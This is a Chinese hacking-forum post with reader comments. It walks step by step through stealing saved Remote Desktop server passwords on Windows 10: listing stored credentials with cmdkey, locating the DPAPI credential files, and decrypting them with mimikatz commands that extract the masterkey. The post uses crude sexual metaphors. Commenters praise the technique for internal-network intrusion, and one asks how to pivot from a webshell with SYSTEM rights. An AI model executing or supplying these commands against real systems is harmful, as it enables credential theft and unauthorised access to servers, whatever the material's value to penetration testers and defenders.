破解远程终端凭据,获取服务器密码
测试环境:windows 10
道友们应该碰到过管理在本地保存远程终端的凭据,凭据里躺着诱人的胴体(服务器密码),早已让我们的大棒饥渴难耐了。
但是,胴体却裹了一身道袍(加密),待老衲操起法器将其宽衣解带。
0x01 凭据管理器中查看Windows凭据:TERMSRV/1xx.xxx.xxx.xx2
可通过命令行获取,执行: cmdkey /list
注意:该命令务必在Session会话下执行,system下执行无结果。
0x02 凭据存储在用户目录下: C:\Users\<username>\AppData\Local\Microsoft\Credentials\*,
图中名为"FF359429D6F19C64BA7D3E282558EEB5"的文件即为目标凭据:TERMSRV/1xx.xxx.xxx.xx2的存储文件
0x03 执行:
mimikatz "dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\FF359429D6F19C64BA7D3E282558EEB5"
pbData是凭据的加密数据,guidMasterKey是凭据的GUID: {d91b091a-ef25-4424-aa45-a2a56b47a699}。
0x04 执行:
mimikatz privilege::debug sekurlsa::dpapi
根据目标凭据GUID: {d91b091a-ef25-4424-aa45-a2a56b47a699}找到其关联的MasterKey,这个MasterKey就是加密凭据的密钥,即解密pbData所必须的东西。
0x05 拿到了MasterKey,服务器密码便唾手可得。执行解密命令:
mimikatz "dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\FF359429D6F19C64BA7D3E282558EEB5 /masterkey:28d1f3252c019f9cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx16dcec8e5dbf5cd0"
解密出来的CredentialBlob即为凭据TERMSRV/1xx.xxx.xxx.xx2的服务器密码。
衣带渐宽终不悔,为伊消得人憔悴。阿弥陀佛。
参考:
http://www.freebuf.com/articles/network/146460.html
评论73次
哇,这个拿密码方式不错,学xi了。
C:\Users\<username>\AppData\Local\Microsoft\Credentials\为啥我这个目录没文件啊...
你新建一个win的虚拟机,通过远程桌面链接,记得输入密钥时保存凭据。然后再看下就有了。
还有这种操作?前提是密码保存到了本地才可以去破解吧,
神了 一直在学xi
膜拜dalao
谦虚学xi!
Credentials 这个目录有的电脑没有,ps:mimikatz 真是万能神器
用这种办法抓密码在内网还是挺有用的,谢谢分享
学到了,mimikatz,谢谢分享
mimikatz竟然还有这种操作,收藏了
好方法,上次遇到一个类似的 直接放弃了 看来我还要试试你的
感谢分享,如果我通过webshell拿到了system权限,如何跨到指定的session中呢?请仙道解惑
同一用户,不同session可否?
netpass 你值的拥有
直接转账的freebuf吧
这比喻的 老衲真是服也
有没有人能来一个mimiktz的详细攻略呀这玩意儿太强大了
C:\Users\<username>\AppData\Local\Microsoft\Credentials\为啥我这个目录没文件啊...
道友没有保存凭据,自然不会有凭据文件.[摊手]
你所说的在会话中进行cmdkey /list是指要连接上服务器吗
这里说的是执行权限,道友可没必要亲自上.